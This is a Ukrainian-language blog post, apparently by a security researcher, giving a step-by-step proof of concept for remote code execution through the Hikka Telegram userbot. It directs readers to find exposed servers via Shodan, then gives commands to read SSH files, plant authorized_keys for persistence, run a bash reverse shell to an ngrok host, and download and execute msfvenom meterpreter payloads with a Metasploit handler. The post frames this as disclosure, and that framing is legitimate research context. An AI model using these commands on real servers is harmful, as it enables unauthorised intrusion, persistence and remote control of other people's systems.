Про цю вразливість, а точніше цілий її ланцюжок, в інфраструктурі юзербота Hikka, який працює через додаток Telegram, я вперше дізнався 1,5 роки тому. Про неї знали тоді доволі вузьке коло осіб, в осному пентестери, дослідники безпеки. Я навмисно не публікував деталі, чекаючи поки розробники і власники серверів “залатають діру” (їм було повідомлено про це). Деякі вразливості були офіційно зареєстровані і виправлені (CVE-2025-52571, CVE-2025-52572). Однак у мережі досі “гуляють” незахищені інстанси, які хтось колись створив і забув. Вони можуть бути зламані у будь-яку хвилину. Також тут є серйозна проблема на боці самого Telegram, який дозволяє користувачам віддалене виконання Python-команд зі своєї інфраструктури. Власне, тому й захотілось розповісти про це, щоби привернути увагу і попередити інших. Нижче подаю повний Proof of Concept (PoC) як мені вдалося проексплуатувати цю вразливість декількома шляхами. За основу взяв робочий інстанс на базі власного VPS-сервера з Hikka.
Hikka userbot RCE via Telegram. Proof of Concept.
1. Шукаємо в Shodan вразливі VPS-сервери з Hikka userbot:
https://www.shodan.io/search?query=title%3A%22Hikka+userbot%22
2. Відкриваємо будь-який VPS і приєднюємо інстанс до свого мобільного пристрою через авторизацію по QR-коду (тиснемо “Quick start”):
Якщо сервер “свіжоспечений”, то ви станете першим користувачем і сервер автоматично прийме та прив’яже вас до інстантсу. Якщо ж на сервері вже є сесії інших користувачів, то в такому випадку хтось з них має схвалити доступ у себе в Hikka userbot. Інакше не залогуєтесь.
Після авторизації в обліковому записі Telegram на смартфоні службовий бот @BotFather автоматично розгорне Hikka Userbot та усі його модулі, а на сторінці сервера з’явиться повідомлення про успішне встановлення:
3. Переходимо тепер в бот Hikka Userbot (не Hikka Logs) і виконуємо по черзі команди для експлуатації Remote Code Execution на Python:
.e import os; os.listdir('.')– отримуємо вміст поточної директорії Linux-сервера, на якому розгорнутий Hikka bot і файлів в ній (аналог командиls);.e import os; os.getcwd()– вивід шляху до поточної директорії, у якій знаходиться бот (аналог командиpwd);.e import os; os.listdir('/')– отримуємо вміст кореневої директорії;.e import os; os.listdir('/home/username')– отримуємо вміст домашньої директорії;.e import os; os.listdir('/home/username/.ssh')– отримуємо вміст домашньої директорії з ключами ssh-доступу;
4. Тепер необхідно додати ключі SSH-доступу на сервер.
Генеруємо їх на своєму локальному комп’ютері командою ssh-keygen і додаємо публічний ключ на VPS-сервер:
ssh-keygen -t rsa -b 2048 -C "user@name"– генеруємо private та public key;.e await client.send_file(message.chat_id, "/home/username/.ssh/authorized_keys")– переглянути (завантажити) файл з ключами SSH;.e await client.send_file(message.chat_id, "/home/username/.ssh/known_hosts")– переглянути (завантажити) файл з хостами, які під’єднувалися до сервера;.e await client.send_file(message.chat_id, "/etc/ssh/sshd_config")– завантажити файл конфігурації служби SSH на сервері;.e with open("/username/.ssh/authorized_keys", "a") as f: f.write("ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx user@name")– створити файл authorized_keys на сервері із заданим вмістом;.e import os; os.chmod("/home/username/.ssh/authorized_keys", 0o600)– виставляємо необхідні права доступу;.e import os; os.chmod("/home/username/.ssh", 0o700)

Якщо папки .ssh не існує, можна її створити:
.e import os; os.makedirs("/root/.ssh", exist_ok=True)– створити директорію.
Можна переглянути інші директорії:
.e import os; os.listdir('/etc/ssh').e import os; os.listdir('/usr/sbin').e import os; os.listdir('/bin')import os; os.path.abspath("interesting.php")– подивитися повний шлях до файлу у поточній директорії.
Інші команди:
.e import os; os.remove("/root/.ssh/authorized_keys")– видалити файл..e with open("new_file.txt", "a") as f: f.write("\nНовий текст додано.")– додати текст в файл;.e with open("interesting.php", "w") as f: f.write("<?php\n echo 'Hello, World!';\n?>")– створити php-файл;
Створити багаторядковий php-файл:
.e with open("interesting.php", "w") as f: f.write("""<?php
echo 'Hello, World!';
$variable = 123;
echo $variable;
?>""") В результаті усіх цих операцій, ми повинні успішно підключитися до сервера по SSH-ключу:
ssh -i /home/username/privatekey username@X.X.X.X
Далі можна експлуатувати вразливості sudo, підвищувати привілеї, закріплюватися, розгорнути ssh-тунелінг чи socks-форвардинг, встановити WireGuard VPN і т.д.
Заливаємо Reverse Shell на VPS через Hikka-бот
Існує ще один спосіб як проексплуатувати цю вразливість і отримати доступ до VPS-сервера:
ngrok tcp 4486– запускаємо на локальному комп’ютері утиліту Ngrok для порт-форвардингу. На вихід отримаємо адресу сервера для прийому з’єднання. Наприклад:tcp://5.tcp.eu.ngrok.io:10843 -> localhost:4486nc -lvnp 4486– залишаючи Ngrok активним, запускаємо на локальному комп’ютері утиліту Netcat на тому ж локальному порті;.e with open("/tmp/reverse.sh", "w") as f: f.write("bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10843 0>&1")– створити файл з шелом на сервері;.e import os; os.listdir('/tmp')– перевіряємо чи файл створився на сервері;.e import os; os.chmod("/tmp/reverse.sh", 0o755)– виставляємо права на виконання файлу;.e import subprocess; subprocess.Popen(["/bin/bash", "/tmp/reverse.sh"])– запускаємо шелл на виконання.
В результаті отримуємо зворотне з’єднання на своїй локальній машині в Netcat:
Далі додаємо SSH-ключ, щоб закріпитися в системі:
echo "ssh-rsa xxxxxxxxxxxxxxxxxxxxxxxxxxxhqX user@name" > /home/username/.ssh/authorized_keys
Cпосіб з використанням Metasploit
Генеруємо корисне навантаження з допомогою Msfvenom:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch x64 -f elf > hikka.elf– для 64-бітної архітектури.msfvenom -p linux/aarch64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch aarch64 -f elf > hikka.elf– для 64-бітної мобільної архітектури.msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=5.tcp.eu.ngrok.io LPORT=17588 --platform linux --arch x64 -e x64/xor -f elf > hikka.elf– з шифруванням XOR.
Розгортаємо файл на локальному сервері Cloudflared:
https://xxxxxxxxxxxxxxxxxxxxxxxx.trycloudflare.com/hikka.elf
Закачуємо на сервер:
wget https://xxxxxxxxxxxxxxxxxxxxxxxx.trycloudflare.com/hikka.elf -O /tmp/hikka.elf chmod +x hikka.elf /tmp/hikka.elf
Можна також запустити шелл і в Telegram через Hikka bot:
.e import subprocess; subprocess.Popen(["/bin/bash", "/tmp/hikka.elf"])
Отримуємо з’єднання з допомогою Msfconsole:
sudo msfconsole use exploit/multi/handler set PAYLOAD linux/x64/meterpreter_reverse_tcp (або інша архітектура, треба знати) # Вказуємо зовнішній хост (Ngrok) для підключення set LHOST 9.tcp.eu.ngrok.io set LPORT 23365 # Ngrok порт # Вказуємо локальний хост і порт, які Ngrok форвардить set ReverseListenerBindAddress 127.0.0.1 set ReverseListenerBindPort 4486 exploit
Підключилися. Сесія Meterpreter налагоджена.
Увага: Якщо ви знайшли у мережі вразливий сервер Hikka, рекомендуємо негайно повідомити про це власника!
Автор: © Konrad Ravenstone, KR. Laboratories Research







